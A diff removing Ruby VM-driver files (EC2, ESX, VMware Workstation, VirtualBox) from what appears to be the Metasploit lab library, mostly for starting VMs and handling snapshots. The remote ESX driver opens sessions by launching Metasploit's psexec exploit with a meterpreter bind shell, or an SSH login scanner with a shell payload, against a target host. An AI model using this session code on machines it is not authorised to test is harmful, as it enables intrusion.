|
||||
end
|
||||
|
||||
if @fog_config['fog_type'] == "ec2"
|
||||
|
||||
# AWS / EC2 Base Credential Configuration
|
||||
@aws_cert_file = IO.read(fog_config['fog_aws_cert_file']).chomp if fog_config['fog_aws_cert_file']
|
||||
@aws_private_key_file = IO.read(fog_config['fog_aws_private_key_file']).chomp if fog_config['fog_aws_private_key_file']
|
||||
@ec2_access_key_file = IO.read(fog_config['fog_ec2_access_key_file']).chomp if fog_config['fog_ec2_access_key_file']
|
||||
@ec2_secret_access_key_file = IO.read(fog_config['fog_ec2_secret_access_key_file']).chomp if fog_config['fog_ec2_secret_access_key_file']
|
||||
|
||||
# Instance Keys
|
||||
@ec2_instance_public_key_file = IO.read(fog_config['fog_ec2_instance_public_key_file']).chomp if fog_config['fog_ec2_instance_public_key_file']
|
||||
@ec2_instance_private_key_file = IO.read(fog_config['fog_ec2_instance_private_key_file']).chomp if fog_config['fog_ec2_instance_private_key_file']
|
||||
|
||||
# Instance Details
|
||||
@ec2_base_ami = fog_config['fog_ec2_base_ami']
|
||||
@ec2_flavor = fog_config['fog_ec2_flavor']
|
||||
@ec2_user = fog_config['fog_ec2_user']
|
||||
@ec2_region = fog_config['fog_ec2_region']
|
||||
|
||||
# Set up a connection
|
||||
@compute = Fog::Compute.new(
|
||||
:provider => "Aws",
|
||||
:aws_access_key_id => @aws_access_key_file,
|
||||
:aws_secret_access_key => @aws_secret_access_key_file )
|
||||
else
|
||||
raise "Unsupported Fog Type"
|
||||
end
|
||||
end
|
||||
|
||||
def start
|
||||
ec2_settings = {
|
||||
:image_id => @ec2_base_ami,
|
||||
:flavor_id => @ec2_flavor,
|
||||
:public_key_path => @ec2_instance_public_key_file,
|
||||
:private_key_path => @ec2_instance_private_key_file,
|
||||
:username => @ec2_user}
|
||||
|
||||
begin
|
||||
@fog_server = @compute.servers.bootstrap(ec2_settings)
|
||||
rescue Fog::Compute::AWS::Error => e
|
||||
raise "Couldn't authenticate to AWS - did you place keys in the creds/ directory?"
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
def stop
|
||||
@fog_server.destroy
|
||||
end
|
||||
|
||||
def suspend
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def pause
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def reset
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def create_snapshot(snapshot)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
def run_command(command)
|
||||
## vm_driver will need a little patching for this to work, as
|
||||
## amis use keys for auth. i think it's just a matter of not passing the
|
||||
## password to ssh_exec. So maybe the thing to do is have a ssh_key_exec
|
||||
## function in vm_driver.rb that does the right thing.
|
||||
|
||||
script_rand_name = rand(10000)
|
||||
|
||||
if @os == "windows"
|
||||
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.bat"
|
||||
remote_tempfile_path = "C:\\\\lab_script_#{script_rand_name}.bat"
|
||||
remote_run_command = remote_tempfile_path
|
||||
else
|
||||
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
|
||||
remote_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
|
||||
remote_run_command = "/bin/sh #{remote_tempfile_path}"
|
||||
end
|
||||
|
||||
# write out our script locally
|
||||
File.open(local_tempfile_path, 'w') {|f| f.write(command) }
|
||||
|
||||
# since we can't copy easily w/o tools, let's just run it directly :/
|
||||
if @os == "linux"
|
||||
output_file = "/tmp/lab_command_output_#{rand(1000000)}"
|
||||
|
||||
scp_to(local_tempfile_path, remote_tempfile_path)
|
||||
ssh_exec(remote_run_command + "> #{output_file}")
|
||||
scp_from(output_file, output_file)
|
||||
ssh_exec("rm #{output_file}")
|
||||
ssh_exec("rm #{remote_tempfile_path}")
|
||||
|
||||
# Ghettohack!
|
||||
string = File.open(output_file,"r").read
|
||||
`rm #{output_file}`
|
||||
|
||||
else
|
||||
raise "zomgwtfbbqnotools"
|
||||
end
|
||||
end
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
raise "unimplemented"
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
raise "unimplemented"
|
||||
end
|
||||
=end
|
||||
|
||||
def cleanup
|
||||
@fog_server.destroy
|
||||
end
|
||||
|
||||
def running?
|
||||
return true #TODO
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,278 +0,0 @@
|
||||
require 'vm_driver'
|
||||
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
|
||||
# This driver was built against:
|
||||
# VMware ESX Host Agent 4.1.0 build-348481
|
||||
|
||||
module Lab
|
||||
module Drivers
|
||||
|
||||
class RemoteEsxDriver < VmDriver
|
||||
|
||||
def initialize(config)
|
||||
unless config['user'] then raise ArgumentError, "Must provide a username" end
|
||||
unless config['host'] then raise ArgumentError, "Must provide a hostname" end
|
||||
|
||||
super(config)
|
||||
|
||||
@user = filter_command(config['user'])
|
||||
@host = filter_command(config['host'])
|
||||
@port = config['port']
|
||||
end
|
||||
|
||||
def start
|
||||
remote_system_command("vim-cmd vmsvc/power.on #{@vmid}")
|
||||
end
|
||||
|
||||
def stop
|
||||
remote_system_command("vim-cmd vmsvc/power.off #{@vmid}")
|
||||
end
|
||||
|
||||
def suspend
|
||||
remote_system_command("vim-cmd vmsvc/power.suspend #{@vmid}")
|
||||
end
|
||||
|
||||
def pause
|
||||
remote_system_command("vim-cmd vmsvc/power.suspend #{@vmid}")
|
||||
end
|
||||
|
||||
def resume
|
||||
remote_system_command("vim-cmd vmsvc/power.suspendResume #{@vmid}")
|
||||
end
|
||||
|
||||
def reset
|
||||
remote_system_command("vim-cmd vmsvc/power.reset #{@vmid}")
|
||||
end
|
||||
|
||||
def create_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
|
||||
remote_system_command("vim-cmd vmsvc/snapshot.create #{@vmid} #{snapshot} \'lab created snapshot\' 1 true")
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
|
||||
snapshots = get_snapshots
|
||||
|
||||
# Look through our snapshot list, choose the right one based on display_name
|
||||
snapshots.each do |snapshot_obj|
|
||||
|
||||
#puts "DEBUG: checking #{snapshot_obj}"
|
||||
|
||||
if snapshot_obj[:display_name].downcase == snapshot.downcase
|
||||
snapshot_identifier = snapshot_obj[:name].join(" ")
|
||||
|
||||
#puts "DEBUG: I would revert to #{snapshot_obj}"
|
||||
remote_system_command("vim-cmd vmsvc/snapshot.revert #{@vmid} 0 #{snapshot_identifier}")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
# If we got here, the snapshot didn't exist
|
||||
raise "Invalid Snapshot Name"
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot, remove_children=false)
|
||||
snapshots = get_snapshots
|
||||
|
||||
# Look through our snapshot list, choose the right one based on display_name
|
||||
snapshots.each do |snapshot_obj|
|
||||
|
||||
#puts "DEBUG: checking #{snapshot_obj}"
|
||||
|
||||
if snapshot_obj[:display_name].downcase == snapshot.downcase
|
||||
snapshot_identifier = snapshot_obj[:name].join(" ")
|
||||
remote_system_command("vim-cmd vmsvc/snapshot.remove #{@vmid} #{remove_children} #{snapshot_identifier}")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
# If we got here, the snapshot didn't exist
|
||||
raise "Invalid Snapshot Name"
|
||||
end
|
||||
|
||||
def delete_all_snapshots
|
||||
remote_system_command("vim-cmd vmsvc/snapshot.removeall #{@vmid}")
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
raise "Not Implemented"
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
raise "Not Implemented"
|
||||
end
|
||||
|
||||
def run_command(command, timeout=60)
|
||||
|
||||
setup_session
|
||||
#puts "Using session #{@session}"
|
||||
|
||||
# TODO: pass the timeout down
|
||||
|
||||
if @session
|
||||
if @session.type == "shell"
|
||||
#puts "Running command via shell: #{command}"
|
||||
@session.shell_command_token(command, timeout)
|
||||
elsif @session.type == "meterpreter"
|
||||
#puts "Running command via meterpreter: #{command}"
|
||||
@session.shell_command(command)
|
||||
end
|
||||
else
|
||||
raise "No session"
|
||||
end
|
||||
end
|
||||
|
||||
def copy_to_guest(local,remote)
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("upload #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_to(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
def copy_from_guest(local, remote)
|
||||
setup_session
|
||||
if @session.type == "meterpreter"
|
||||
@session.run_cmd("download #{local} #{remote}")
|
||||
else
|
||||
@driver.copy_from(local,remote)
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
end
|
||||
|
||||
def running?
|
||||
power_status_string = `ssh #{@user}@#{@host} \"vim-cmd vmsvc/power.getstate #{@vmid}\"`
|
||||
return true if power_status_string =~ /Powered on/
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def create_framework
|
||||
return if @framework
|
||||
@framework = Msf::Simple::Framework.create
|
||||
end
|
||||
|
||||
# perform the setup only once
|
||||
def setup_session
|
||||
return if @session
|
||||
|
||||
# require the framework (assumes this sits in lib/lab/modifiers)
|
||||
require 'msf/base'
|
||||
|
||||
create_framework # TODO - this should use a single framework for all hosts, not one-per-host
|
||||
|
||||
@session = nil
|
||||
@session_input = Rex::Ui::Text::Input::Buffer.new
|
||||
@session_output = Rex::Ui::Text::Output::Buffer.new
|
||||
|
||||
if @os == "windows"
|
||||
exploit_name = 'windows/smb/psexec'
|
||||
|
||||
# TODO - check for x86, choose the appropriate payload
|
||||
|
||||
payload_name = 'windows/meterpreter/bind_tcp'
|
||||
options = {
|
||||
"RHOST" => @hostname,
|
||||
"SMBUser" => @vm_user,
|
||||
"SMBPass" => @vm_pass}
|
||||
|
||||
#puts "DEBUG: using options #{options}"
|
||||
|
||||
# Initialize the exploit instance
|
||||
exploit = @framework.exploits.create(exploit_name)
|
||||
|
||||
begin
|
||||
# Fire it off.
|
||||
@session = exploit.exploit_simple(
|
||||
'Payload' => payload_name,
|
||||
'Options' => options,
|
||||
'LocalInput' => @session_input,
|
||||
'LocalOutput' => @session_output)
|
||||
@session.load_stdapi
|
||||
|
||||
#puts "DEBUG: Generated session: #{@session}"
|
||||
|
||||
rescue Exception => e
|
||||
#puts "DEBUG: Unable to exploit"
|
||||
#puts e.to_s
|
||||
end
|
||||
else
|
||||
module_name = 'scanner/ssh/ssh_login'
|
||||
|
||||
# TODO - check for x86, choose the appropriate payload
|
||||
|
||||
payload_name = 'linux/x86/shell_bind_tcp'
|
||||
options = { "RHOSTS" => @hostname,
|
||||
"USERNAME" => @vm_user,
|
||||
"PASSWORD" => @vm_pass,
|
||||
"BLANK_PASSWORDS" => false,
|
||||
"USER_AS_PASS" => false,
|
||||
"VERBOSE" => false}
|
||||
|
||||
# Initialize the module instance
|
||||
aux = @framework.auxiliary.create(module_name)
|
||||
|
||||
#puts "DEBUG: created module: #{aux}"
|
||||
|
||||
begin
|
||||
# Fire it off.
|
||||
aux.run_simple(
|
||||
'Payload' => payload_name,
|
||||
'Options' => options,
|
||||
'LocalInput' => @session_input,
|
||||
'LocalOutput' => @session_output)
|
||||
|
||||
@session = @framework.sessions.first.last
|
||||
rescue Exception => e
|
||||
#puts "DEBUG: Unable to exploit"
|
||||
#puts e.to_s
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_snapshots
|
||||
# Command take the format:
|
||||
# vmware-vim-cmd vmsvc/snapshot.revert [vmid: int] [snapshotlevel: int] [snapshotindex: int]
|
||||
output = `ssh #{@user}@#{@host} \"vim-cmd vmsvc/snapshot.get #{@vmid}\"`
|
||||
|
||||
# this keeps track of the snapshots, takes the form:
|
||||
#[ {:name => [0,0], :display_name => "String containing the snapshotname},
|
||||
# {:name => [0,1], :display_name => "String containing the snapshotname}, ]
|
||||
# ...
|
||||
snapshots = []
|
||||
|
||||
# Use these to keep track of the parsing...
|
||||
current_tree = -1
|
||||
current_num = 0
|
||||
count = 0
|
||||
|
||||
# Do the parsing & stick the snapshots in the snapshots array
|
||||
output_lines = output.split("\n")
|
||||
output_lines.each do |line|
|
||||
if line.include?("|") # this is a new snapshot
|
||||
if line.include?("ROOT") # it's a root
|
||||
current_num = 0
|
||||
current_tree = current_tree + 1 # new tree
|
||||
snapshots << { :name => [current_num, current_tree], :display_name => output_lines[count+1].split(":").last.strip }
|
||||
else
|
||||
current_num = current_num + 1 # new snapshot in current tree
|
||||
snapshots << { :name => [current_num, current_tree], :display_name => output_lines[count+1].split(":").last.strip }
|
||||
end
|
||||
end
|
||||
count = count+1
|
||||
end
|
||||
|
||||
snapshots
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,201 +0,0 @@
|
||||
require 'vm_driver'
|
||||
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
|
||||
module Lab
|
||||
module Drivers
|
||||
|
||||
class RemoteWorkstationDriver < VmDriver
|
||||
|
||||
attr_accessor :location # among other things
|
||||
|
||||
def initialize(config)
|
||||
|
||||
unless config['user'] then raise ArgumentError, "Must provide a username" end
|
||||
unless config['host'] then raise ArgumentError, "Must provide a hostname" end
|
||||
|
||||
super(config)
|
||||
|
||||
@user = filter_command(config['user'])
|
||||
@host = filter_command(config['host'])
|
||||
end
|
||||
|
||||
def start
|
||||
remote_system_command("vmrun -T ws start \'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def stop
|
||||
remote_system_command("vmrun -T ws stop \'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def suspend
|
||||
remote_system_command("vmrun -T ws suspend \'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def pause
|
||||
remote_system_command("vmrun -T ws pause \'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def reset
|
||||
remote_system_command("vmrun -T ws reset \'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def create_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
remote_system_command("vmrun -T ws snapshot \'#{@location}\' #{snapshot} nogui")
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
remote_system_command("vmrun -T ws revertToSnapshot \'#{@location}\' #{snapshot} nogui")
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
remote_system_command("vmrun -T ws deleteSnapshot \'#{@location}\' #{snapshot} nogui" )
|
||||
end
|
||||
|
||||
def run_command(command)
|
||||
# generate local & remote script paths
|
||||
script_rand_name = rand(10000)
|
||||
|
||||
if @os == "windows"
|
||||
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.bat"
|
||||
remote_tempfile_path = "C:\\\\lab_script_#{script_rand_name}.bat"
|
||||
remote_run_command = remote_tempfile_path
|
||||
else
|
||||
local_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
|
||||
remote_tempfile_path = "/tmp/lab_script_#{script_rand_name}.sh"
|
||||
remote_run_command = "/bin/sh #{remote_tempfile_path}"
|
||||
end
|
||||
|
||||
# write out our script locally
|
||||
File.open(local_tempfile_path, 'w') {|f| f.write(command) }
|
||||
|
||||
# we really can't filter command, so we're gonna stick it in a script
|
||||
if @tools
|
||||
# copy it to the vm host - this is because we're a remote driver
|
||||
remote_copy_command = "scp #{local_tempfile_path} #{@user}@#{@host}:#{local_tempfile_path}"
|
||||
system_command(remote_copy_command)
|
||||
|
||||
# we have it on the vm host, copy it to the vm guest
|
||||
vmrunstr = "ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"copyFileFromHostToGuest \'#{@location}\' \'#{local_tempfile_path}\' " +
|
||||
"\'#{remote_tempfile_path}\' nogui\""
|
||||
system_command(vmrunstr)
|
||||
|
||||
# now run it on the guest
|
||||
vmrunstr = "ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"runProgramInGuest \'#{@location}\' -noWait -activeWindow \'#{remote_run_command}\'"
|
||||
system_command(vmrunstr)
|
||||
|
||||
## CLEANUP
|
||||
# delete it on the guest
|
||||
vmrunstr = "ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"deleteFileInGuest \'#{@location}\' \'#{remote_tempfile_path}\'"
|
||||
system_command(vmrunstr)
|
||||
|
||||
# and delete it on the vm host
|
||||
vmhost_delete_command = "ssh #{@user}@#{@host} rm #{local_tempfile_path}"
|
||||
system_command(vmhost_delete_command)
|
||||
|
||||
# delete it locally
|
||||
local_delete_command = "rm #{local_tempfile_path}"
|
||||
system_command(local_delete_command)
|
||||
else
|
||||
# since we can't copy easily w/o tools, let's just run it directly :/
|
||||
if @os == "linux"
|
||||
scp_to(local_tempfile_path, remote_tempfile_path)
|
||||
ssh_exec(remote_run_command)
|
||||
ssh_exec("rm #{remote_tempfile_path}")
|
||||
else
|
||||
raise "Not Implemented - Install VmWare Tools"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
||||
# copy it to the vm host - this is because we're a remote driver
|
||||
remote_copy_command = "scp #{from} #{@user}@#{@host}:#{from}"
|
||||
system_command(remote_copy_command)
|
||||
|
||||
if @tools
|
||||
|
||||
remote_system_command("ssh #{@user}@#{@host} \"vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"copyFileFromGuestToHost \'#{@location}\' \'#{from}\' \'#{to}\' nogui")
|
||||
else
|
||||
scp_to(from,to)
|
||||
end
|
||||
end
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
||||
# copy it to the vm host - this is because we're a remote driver
|
||||
remote_copy_command = "scp #{from} #{@user}@#{@host}:#{from}"
|
||||
system_command(remote_copy_command)
|
||||
|
||||
if @tools
|
||||
remote_system_command("vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"copyFileFromHostToGuest \'#{@location}\' \'#{from}\' \'#{to}\' nogui")
|
||||
else
|
||||
scp_to(from,to)
|
||||
end
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
|
||||
if @tools
|
||||
file = filter_input(file)
|
||||
remote_system_command("vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"fileExistsInGuest \'#{@location}\' \'{file}\' nogui")
|
||||
else
|
||||
raise "Not Implemented - Install VmWare Tools"
|
||||
end
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
directory = filter_input(directory)
|
||||
|
||||
if @tools
|
||||
remote_system_command("ssh #{@user}@#{@host} vmrun -T ws -gu #{@vm_user} -gp #{@vm_pass} " +
|
||||
"createDirectoryInGuest \'#{@location}\' \'#{directory}\' nogui")
|
||||
else
|
||||
raise "Not Implemented - Install VmWare Tools"
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
|
||||
end
|
||||
|
||||
def running?
|
||||
|
||||
# Get running VMs
|
||||
running = remote_system_command("vmrun list nogui")
|
||||
|
||||
if running
|
||||
running_array = running.split("\n")
|
||||
running_array.shift
|
||||
|
||||
running_array.each do |vmx|
|
||||
if vmx.to_s == @location.to_s
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,142 +0,0 @@
|
||||
require 'vm_driver'
|
||||
require 'nokogiri'
|
||||
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
module Lab
|
||||
module Drivers
|
||||
class VirtualBoxDriver < VmDriver
|
||||
|
||||
attr_accessor :location
|
||||
|
||||
def initialize(config)
|
||||
|
||||
super(config)
|
||||
|
||||
## Check to see if we already know this vm, if not, go on location
|
||||
vmid_list = ::Lab::Controllers::VirtualBoxController::config_list
|
||||
unless vmid_list.include? @vmid
|
||||
raise "Error, no such vm: #{@vmid}" unless @location
|
||||
|
||||
if !File.exist?(@location)
|
||||
raise ArgumentError,"Error, no vm at: #{@location}"
|
||||
end
|
||||
|
||||
# Registering @location
|
||||
@vmid = register_and_return_vmid
|
||||
end
|
||||
|
||||
vmInfo = `VBoxManage showvminfo \"#{@vmid}\" --machinereadable`
|
||||
@location = vmInfo.scan(/CfgFile=\"(.*?)\"/).flatten[0].to_s
|
||||
|
||||
if !File.exist?(@location)
|
||||
raise ArgumentError,"Couldn't find: " + @location
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def register_and_return_vmid
|
||||
|
||||
xml = Nokogiri::XML(File.new(@location))
|
||||
vmid = xml.root.xpath("//Machine[@name]")
|
||||
|
||||
## only register if we don't already know the vmid
|
||||
if !::Lab::Controllers::VirtualBoxController::config_list.include? vmid
|
||||
system_command("VBoxManage registervm \"#{@location}\"")
|
||||
end
|
||||
|
||||
return vmid
|
||||
|
||||
end
|
||||
|
||||
def unregister
|
||||
system_command("VBoxManage unregistervm \"#{@vmid}\"")
|
||||
end
|
||||
|
||||
def start
|
||||
system_command("VBoxManage startvm \"#{@vmid}\"")
|
||||
end
|
||||
|
||||
def stop
|
||||
system_command("VBoxManage controlvm \"#{@vmid}\" poweroff")
|
||||
end
|
||||
|
||||
def suspend
|
||||
system_command("VBoxManage controlvm \"#{@vmid}\" savestate")
|
||||
end
|
||||
|
||||
def pause
|
||||
system_command("VBoxManage controlvm \"#{@vmid}\" pause")
|
||||
end
|
||||
|
||||
def reset
|
||||
system_command("VBoxManage controlvm \"#{@vmid}\" reset")
|
||||
end
|
||||
|
||||
def create_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("VBoxManage snapshot \"#{@vmid}\" take #{snapshot}")
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("VBoxManage snapshot \"#{@vmid}\" restore #{snapshot}")
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot)
|
||||
snapshot = filter_input(snapshot)
|
||||
system_command("VBoxManage snapshot \"#{@vmid}\" delete #{snapshot}")
|
||||
end
|
||||
|
||||
def run_command(command, arguments=nil)
|
||||
command = filter_input(command)
|
||||
arguments = filter_input(arguments)
|
||||
|
||||
command = "VBoxManage guestcontrol exec \"#{@vmid}\" \"#{command}\" --username \"#{@vm_user}\"" +
|
||||
" --password \"#{@vm_pass}\" --arguments \"#{arguments}\""
|
||||
system_command(command)
|
||||
end
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
||||
raise "Not supported by Virtual Box"
|
||||
end
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
from = filter_input(from)
|
||||
to = filter_input(to)
|
||||
|
||||
command = "VBoxManage guestcontrol copyto \"#{@vmid}\" \"#{from}\" \"#{to}\" " +
|
||||
"--username \"#{@vm_user}\" --password \"#{@vm_pass}\""
|
||||
system_command(command)
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
file = filter_input(file)
|
||||
|
||||
raise "Not supported by Virtual Box"
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
directory = filter_input(directory)
|
||||
|
||||
command = "VBoxManage guestcontrol createdir \"#{@vmid}\" \"#{directory}\" " +
|
||||
"--username \"#{@vm_user}\" --password \"#{@vm_pass}\""
|
||||
system_command(command)
|
||||
end
|
||||
|
||||
def cleanup
|
||||
|
||||
end
|
||||
|
||||
def running?
|
||||
## Get running Vms
|
||||
::Lab::Controllers::VirtualBoxController::running_list.include? @vmid
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,173 +0,0 @@
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
|
||||
#
|
||||
# !!WARNING!! - All drivers are expected to filter input before running
|
||||
# anything based on it. This is particularly important in the case
|
||||
# of the drivers which wrap a command line to provide functionality.
|
||||
#
|
||||
|
||||
module Lab
|
||||
module Drivers
|
||||
class VmDriver
|
||||
|
||||
attr_accessor :vmid
|
||||
attr_accessor :location
|
||||
attr_accessor :os
|
||||
attr_accessor :tools
|
||||
attr_accessor :credentials
|
||||
|
||||
def initialize(config)
|
||||
|
||||
@vmid = filter_command(config["vmid"].to_s)
|
||||
@location = filter_command(config["location"])
|
||||
@credentials = config["credentials"] || []
|
||||
@tools = filter_input(config["tools"])
|
||||
|
||||
@os = filter_input(config["os"])
|
||||
@hostname = filter_input(config["hostname"]) || filter_input(config["vmid"].to_s)
|
||||
|
||||
# Currently only implemented for the first set
|
||||
if @credentials.count > 0
|
||||
@vm_user = filter_input(@credentials[0]['user'])
|
||||
@vm_pass = filter_input(@credentials[0]['pass'])
|
||||
@vm_keyfile = filter_input(@credentials[0]['keyfile'])
|
||||
end
|
||||
end
|
||||
|
||||
## This interface must be implemented in a child driver class
|
||||
## #########################################################
|
||||
|
||||
def register
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def unregister
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def start
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def stop
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def suspend
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def pause
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def resume
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def reset
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def create_snapshot(snapshot)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def revert_snapshot(snapshot)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def delete_snapshot(snapshot)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def run_command(command)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def copy_from_guest(from, to)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def copy_to_guest(from, to)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def check_file_exists(file)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def create_directory(directory)
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
def cleanup
|
||||
raise "Command not Implemented"
|
||||
end
|
||||
|
||||
## End Interface
|
||||
## #########################################################
|
||||
|
||||
private
|
||||
|
||||
def scp_to(local,remote)
|
||||
#require 'net/scp'
|
||||
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
|
||||
# scp.upload!(from,to)
|
||||
#end
|
||||
system_command("scp #{local} #{@vm_user}@#{@hostname}:#{remote}")
|
||||
end
|
||||
|
||||
def scp_from(local,remote)
|
||||
#require 'net/scp'
|
||||
# download a file from a remote server
|
||||
#::Net::SCP.start(@hostname, @vm_user, :password => @vm_pass) do |scp|
|
||||
# scp.download!(from,to)
|
||||
#end
|
||||
system_command("scp #{@vm_user}@#{@hostname}:#{remote} #{local}")
|
||||
end
|
||||
|
||||
def ssh_exec(command)
|
||||
::Net::SSH.start(@hostname, @vm_user, :password => @vm_pass) do |ssh|
|
||||
result = ssh.exec!(command)
|
||||
end
|
||||
`scp #{@vm_user}@#{@hostname} from to`
|
||||
end
|
||||
|
||||
def filter_input(string)
|
||||
return "" unless string # nil becomes empty string
|
||||
return string unless string.class == String # Allow other types unmodified
|
||||
|
||||
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\):!]*$/.match string
|
||||
raise "WARNING! Invalid character in: #{string}"
|
||||
end
|
||||
string
|
||||
end
|
||||
|
||||
def filter_command(string)
|
||||
return "" unless string # nil becomes empty string
|
||||
return unless string.class == String # Allow other types unmodified
|
||||
|
||||
unless /^[\d\w\s\[\]\{\}\/\\\.\-\"\(\)]*$/.match string
|
||||
raise "WARNING! Invalid character in: #{string}"
|
||||
end
|
||||
string
|
||||
end
|
||||
|
||||
# The only reason we don't filter here is because we need
|
||||
# the ability to still run clean (controlled entirely by us)
|
||||
# command lines.
|
||||
def system_command(command)
|
||||
`#{command}`
|
||||
end
|
||||
|
||||
|
||||
def remote_system_command(command)
|
||||
system_command("ssh #{@user}@#{@host} \"#{command}\"")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,188 +0,0 @@
|
||||
require 'vm_driver'
|
||||
|
||||
##
|
||||
## $Id$
|
||||
##
|
||||
|
||||
module Lab
|
||||
module Drivers
|
||||
|
||||
class WorkstationDriver < VmDriver
|
||||
|
||||
def initialize(config)
|
||||
super(config)
|
||||
|
||||
if !File.exist?(@location)
|
||||
raise ArgumentError,"Couldn't find: #{@location}"
|
||||
end
|
||||
end
|
||||
|
||||
def start
|
||||
system_command("vmrun -T ws start " + "\'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def stop
|
||||
system_command("vmrun -T ws stop " + "\'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def suspend
|
||||
system_command("vmrun -T ws suspend " + "\'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def pause
|
||||
system_command("vmrun -T ws pause " + "\'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
def reset
|
||||
system_command("vmrun -T ws reset " + "\'#{@location}\' nogui")
|
||||
end
|
||||
|
||||
